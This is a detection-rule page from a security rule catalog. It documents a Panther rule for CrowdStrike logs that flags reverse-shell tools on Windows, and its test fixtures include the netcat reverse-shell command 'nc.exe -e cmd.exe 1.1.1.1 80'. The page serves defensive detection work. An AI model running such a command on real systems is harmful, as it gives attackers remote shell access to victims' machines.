Crowdstrike Reverse Shell Tool Executed

Severity: high
Entities: ip_addresses, md5_hashes, sha1_hashes, sha256_hashes, trace_ids
Log types: Crowdstrike.FDREvent
Reference: https://attack.mitre.org/techniques/T1059/
Source: github.com/panther-labs/panther-analysis

Detects usage of tools commonly used to to establish reverse shells on Windows machines.

MITRE ATT&CK coverage

Tactic	Techniques
Execution	`T1059` Command and Scripting Interpreter

Rule body yaml

AnalysisType: rule
Description: Detects usage of tools commonly used to to establish reverse shells on Windows machines.
DisplayName: "Crowdstrike Reverse Shell Tool Executed"
Enabled: true
Filename: crowdstrike_reverse_shell_tool_executed.py
Reference: https://attack.mitre.org/techniques/T1059/
Severity: High
Tests:
  - ExpectedResult: true
    Log:
      aid: 1234abcd4567efghi8901abc
      aip: 11.10.9.8
      cid: abc987jkl654mnop321
      configbuild: 1007.3.0016606.11
      configstatehash: "3799024366"
      entitlements: "15"
      event:
        AuthenticationId: "293628"
        AuthenticodeHashData: 5540c470218d209b7c3eca3d12e190580814d566
        CommandLine: C:\Windows\System32\nc.exe -e cmd.exe 1.1.1.1 80
        ConfigBuild: 1007.3.0016606.11
        ConfigStateHash: "3799024366"
        EffectiveTransmissionClass: "2"
        Entitlements: "15"
        ImageFileName: \Device\HarddiskVolume2\Windows\System32\nc.exe
        ImageSubsystem: "3"
        IntegrityLevel: "12288"
        MD5HashData: 5fd22b915c232378e567160d641cc9f2
        ParentAuthenticationId: "293628"
        ParentBaseFileName: pwsh.exe
        ParentProcessId: "4370948876"
        ProcessCreateFlags: "0"
        ProcessEndTime: ""
        ProcessParameterFlags: "24577"
        ProcessStartTime: "1682106752.006"
        ProcessSxsFlags: "64"
        RawProcessId: "1468"
        SHA1HashData: "0000000000000000000000000000000000000000"
        SHA256HashData: 488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377
        SessionId: "2"
        SignInfoFlags: "8683538"
        SourceProcessId: "4370948876"
        SourceThreadId: "6364981533"
        Tags: 25, 27, 40, 151, 874, 924, 12094627905582, 12094627906234, 237494511599633
        TargetProcessId: "4390327988"
        TokenType: "1"
        TreeId: "4295752857"
        UserSid: S-1-5-21-239183934-720705223-383019856-500
        aid: 1234abcd4567efghi8901abc
        aip: 11.10.9.8
        cid: abc987jkl654mnop321
        event_platform: Win
        event_simpleName: ProcessRollup2
        id: 081d64d7-17fb-40c0-8767-48ff1e2ee2dd
        name: ProcessRollup2V19
        timestamp: "1682106752722"
      event_platform: Win
      event_simplename: ProcessRollup2
      fdr_event_type: ProcessRollup2
      id: 081d64d7-17fb-40c0-8767-48ff1e2ee2dd
      name: ProcessRollup2V19
      p_any_ip_addresses:
        - 11.10.9.8
      p_any_md5_hashes:
        - 5fd22b915c232378e567160d641cc9f2
        - 1234abcd4567efghi8901abc
        - abc987jkl654mnop321
      p_any_sha1_hashes:
        - "0000000000000000000000000000000000000000"
      p_any_sha256_hashes:
        - 488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377
      p_any_trace_ids:
        - "4295752857"
        - 1234abcd4567efghi8901abc
        - abc987jkl654mnop321
      p_event_time: "2023-04-21 19:52:32.722"
      p_log_type: Crowdstrike.FDREvent
      p_parse_time: "2023-04-21 20:05:52.94"
      p_row_id: 7ac82dbb43a99bfec196bdda178c8101
      p_schema_version: 0
      p_source_id: 1f33f64c-124d-413c-a9e3-d51ccedd8e77
      p_source_label: Crowdstrike-FDR-Dev
      timestamp: "2023-04-21 19:52:32.722"
      treeid: "4295752857"
    Name: Malicious Netcat
  - ExpectedResult: false
    Log:
      aid: 1234abcd4567efghi8901abc
      aip: 11.10.9.8
      cid: abc987jkl654mnop321
      configbuild: 1007.3.0016606.11
      configstatehash: "3799024366"
      entitlements: "15"
      event:
        AuthenticationId: "293628"
        AuthenticodeHashData: 5540c470218d209b7c3eca3d12e190580814d566
        CommandLine: C:\Windows\System32\nc.exe -n 1.1.1.1 80
        ConfigBuild: 1007.3.0016606.11
        ConfigStateHash: "3799024366"
        EffectiveTransmissionClass: "2"
        Entitlements: "15"
        ImageFileName: \Device\HarddiskVolume2\Windows\System32\nc.exe
        ImageSubsystem: "3"
        IntegrityLevel: "12288"
        MD5HashData: 5fd22b915c232378e567160d641cc9f2
        ParentAuthenticationId: "293628"
        ParentBaseFileName: pwsh.exe
        ParentProcessId: "4370948876"
        ProcessCreateFlags: "0"
        ProcessEndTime: ""
        ProcessParameterFlags: "24577"
        ProcessStartTime: "1682106752.006"
        ProcessSxsFlags: "64"
        RawProcessId: "1468"
        SHA1HashData: "0000000000000000000000000000000000000000"
        SHA256HashData: 488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377
        SessionId: "2"
        SignInfoFlags: "8683538"
        SourceProcessId: "4370948876"
        SourceThreadId: "6364981533"
        Tags: 25, 27, 40, 151, 874, 924, 12094627905582, 12094627906234, 237494511599633
        TargetProcessId: "4390327988"
        TokenType: "1"
        TreeId: "4295752857"
        UserSid: S-1-5-21-239183934-720705223-383019856-500
        aid: 1234abcd4567efghi8901abc
        aip: 11.10.9.8
        cid: abc987jkl654mnop321
        event_platform: Win
        event_simpleName: ProcessRollup2
        id: 081d64d7-17fb-40c0-8767-48ff1e2ee2dd
        name: ProcessRollup2V19
        timestamp: "1682106752722"
      event_platform: Win
      event_simplename: ProcessRollup2
      fdr_event_type: ProcessRollup2
      id: 081d64d7-17fb-40c0-8767-48ff1e2ee2dd
      name: ProcessRollup2V19
      p_any_ip_addresses:
        - 11.10.9.8
      p_any_md5_hashes:
        - 5fd22b915c232378e567160d641cc9f2
        - 1234abcd4567efghi8901abc
        - abc987jkl654mnop321
      p_any_sha1_hashes:
        - "0000000000000000000000000000000000000000"
      p_any_sha256_hashes:
        - 488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377
      p_any_trace_ids:
        - "4295752857"
        - 1234abcd4567efghi8901abc
        - abc987jkl654mnop321
      p_event_time: "2023-04-21 19:52:32.722"
      p_log_type: Crowdstrike.FDREvent
      p_parse_time: "2023-04-21 20:05:52.94"
      p_row_id: 7ac82dbb43a99bfec196bdda178c8101
      p_schema_version: 0
      p_source_id: 1f33f64c-124d-413c-a9e3-d51ccedd8e77
      p_source_label: Crowdstrike-FDR-Dev
      timestamp: "2023-04-21 19:52:32.722"
      treeid: "4295752857"
    Name: Benign Netcat
  - ExpectedResult: false
    Log:
      aid: 1234abcd4567efghi8901abc
      aip: 11.10.9.8
      cid: abc987jkl654mnop321
      configbuild: 1007.3.0016606.11
      configstatehash: "3799024366"
      entitlements: "15"
      event:
        AuthenticationId: "293628"
        AuthenticodeHashData: 5540c470218d209b7c3eca3d12e190580814d566
        CommandLine: C:\Windows\System32\ethminer.exe
        ConfigBuild: 1007.3.0016606.11
        ConfigStateHash: "3799024366"
        EffectiveTransmissionClass: "2"
        Entitlements: "15"
        ImageFileName: \Device\HarddiskVolume2\Windows\System32\ethminer.exe
        ImageSubsystem: "3"
        IntegrityLevel: "12288"
        MD5HashData: 5fd22b915c232378e567160d641cc9f2
        ParentAuthenticationId: "293628"
        ParentBaseFileName: pwsh.exe
        ParentProcessId: "4370948876"
        ProcessCreateFlags: "0"
        ProcessEndTime: ""
        ProcessParameterFlags: "24577"
        ProcessStartTime: "1682106752.006"
        ProcessSxsFlags: "64"
        RawProcessId: "1468"
        SHA1HashData: "0000000000000000000000000000000000000000"
        SHA256HashData: 488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377
        SessionId: "2"
        SignInfoFlags: "8683538"
        SourceProcessId: "4370948876"
        SourceThreadId: "6364981533"
        Tags: 25, 27, 40, 151, 874, 924, 12094627905582, 12094627906234, 237494511599633
        TargetProcessId: "4390327988"
        TokenType: "1"
        TreeId: "4295752857"
        UserSid: S-1-5-21-239183934-720705223-383019856-500
        aid: 1234abcd4567efghi8901abc
        aip: 11.10.9.8
        cid: abc987jkl654mnop321
        event_platform: Win
        event_simpleName: ProcessRollup2
        id: 081d64d7-17fb-40c0-8767-48ff1e2ee2dd
        name: ProcessRollup2V19
        timestamp: "1682106752722"
      event_platform: Win
      event_simplename: ProcessRollup2
      fdr_event_type: ProcessRollup2
      id: 081d64d7-17fb-40c0-8767-48ff1e2ee2dd
      name: ProcessRollup2V19
      p_any_ip_addresses:
        - 11.10.9.8
      p_any_md5_hashes:
        - 5fd22b915c232378e567160d641cc9f2
        - 1234abcd4567efghi8901abc
        - abc987jkl654mnop321
      p_any_sha1_hashes:
        - "0000000000000000000000000000000000000000"
      p_any_sha256_hashes:
        - 488e74e2026d03f21b33f470c23b3de2f466643186c2e06ae7b4883cc2e59377
      p_any_trace_ids:
        - "4295752857"
        - 1234abcd4567efghi8901abc
        - abc987jkl654mnop321
      p_event_time: "2023-04-21 19:52:32.722"
      p_log_type: Crowdstrike.FDREvent
      p_parse_time: "2023-04-21 20:05:52.94"
      p_row_id: 7ac82dbb43a99bfec196bdda178c8101
      p_schema_version: 0
      p_source_id: 1f33f64c-124d-413c-a9e3-d51ccedd8e77
      p_source_label: Crowdstrike-FDR-Dev
      timestamp: "2023-04-21 19:52:32.722"
      treeid: "4295752857"
    Name: Other
DedupPeriodMinutes: 60
LogTypes:
  - Crowdstrike.FDREvent
RuleID: "Crowdstrike.Reverse.Shell.Tool.Executed"
Threshold: 1

Detection logic

Condition

fdr_event_type eq "ProcessRollup2"
event_platform eq "Win"

This rule also runs imperative logic the parser cannot express as a filter; the conditions above are the structured part it could extract.

Indicators

Each row is a field, operator, and value that the rule matches. The corpus column counts how many other rules in the catalog look for the same combination: high numbers point to widely-used, community-vetted indicators. Blank or 1 shows that the indicator is specific to this rule.

Field	Kind	Values
`event_platform`	eq	`Win` corpus 7 (panther 7)
`fdr_event_type`	eq	`ProcessRollup2` corpus 10 (panther 10)

Output fields

Fields the rule emits when it matches. Chronicle authors list these in the outcome block; they appear on the detection and $risk_score drives alerting. Sentinel / Defender XDR rules build them up through project / summarize / extend stages. Sentinel maps these into alert fields via entityMappings and customDetails; Defender XDR custom detections surface them as alert fields directly.

Field	Source
`aid`
`user`	`UserName`
`console-link`	`FalconHostLink`
`commandline`	`CommandLine`
`parentcommandline`	`ParentCommandLine`
`filename`	`FileName`
`filepath`	`FilePath`
`description`	`Description`
`action`	`PatternDispositionDescription`
`ComputerName`

`j` / `k`	Scroll down / up
`d` / `u`	Half-page down / up
`gg` / `G`	Top / bottom
`h` / `l`	History back / forward
`f`	Follow link (`Shift` = new tab)
`/`	Focus search
`?`	Toggle this help
`↑` / `↓`	Navigate search results
`Enter`	Open highlighted result
`Esc`	Close results / dialog

`type:`	`events` / `rules` / `providers`
`vendor:`	`sigma` / `elastic` / `splunk` / `kusto` / `chronicle` (vendor name alone also works: `sigma:`, `kql:`, `secops:`…)
`tactic:`	TA-id, slug, or name: `credential_access`, `TA0006`
`technique:`	technique or sub-technique ID: `T1003`, `T1003.001` (alias `tech:`)
`severity:`	`critical` / `high` / `medium` / `low` / `informational` (alias `sev:`)
`risk_score`	Numeric comparison on the Elastic risk score (0 to 100): `risk_score>50`, `risk_score<=20`, `risk_score=99` (alias `risk`; Elastic rules only)
`stages:`	Rules with exactly N pipeline stages
`correlation:`	`single_event` / `sequence` / `alternatives` / `alternatives_cross_log` / `all_required` / `correlated`
`with:`	Co-occurrence event-id; stacks (`with:4624 with:4769`) to require all, while a comma list in one occurrence (`with:4624,4769`) is an either-or group. Implies multi-event
`like:`	Structural neighbors of a rule slug (equivalents + subsumption stricter / broader): `like:comsvcs_lsass_memory_dump-splunk-sysmon`
`groupby:`	Entity-grouping substring match against `group_by_keys`: `groupby:user`, `groupby:host`
`uses:`	Rules whose predicate tree touches the field (any kind, any value): `uses:CommandLine`
`excludes:`	Rules with top-level `not()` clauses on the field (FP whitelists): `excludes:ParentImage`
`field:` / `value:`	Predicate search; narrows rule cards to those with a matching leaf and drives the indicator tier. Unquoted = substring, wildcards allowed (`value:mimikatz`)
`indicator:`	Shorthand for `field:F value:V`: `indicator:Image=*\powershell.exe`
`kind:`	Filter by predicate kind. Narrows rule cards to those carrying a matching predicate leaf (`vendor:elastic kind:cidr_match`) and drives the indicator tier: `contains` / `starts_with` / `ends_with` / `regex` / `cidr` / `eq` / `in` … (operator aliases `op:`/`match:`)
`has:` / `no:`	`sample`, `field`, `notes`, `refs`, `trace`, `thirdparty`, `rule`, `pattern`, `timewindow`, `threshold`, `newterms`, `sigma`/`elastic`/`splunk`/`kusto`/`chronicle`
`-op:val`	Exclude matches; works on most operators but not `type:`/`like:`/`has:`/`no:` (use `no:<flag>` to exclude a rule flag): `tactic:execution -vendor:splunk`. Standalone `-kind:`/`-field:`/`-value:` drop every rule carrying a matching predicate leaf (`type:rules -kind:is_null`)
`field:"…"` / `value:"…"`	Quoted value = anchored exact match (also allows spaces): `value:"net user"`
`a,b`	Comma = OR inside one operator (`vendor:sigma,elastic`, `severity:high,critical`); repeating a facet merges the same way. `field:`/`value:` never split (literal commas)
`vendors:` / `stage:`	Singular and plural spellings fold to the canonical operator and value: `tactics:` = `tactic:`, `type:event` = `type:events`, `correlation:sequences` = `correlation:sequence`, `has:thresholds` = `has:threshold`
`"quoted phrase"`	Exact-match a multi-word phrase (free text)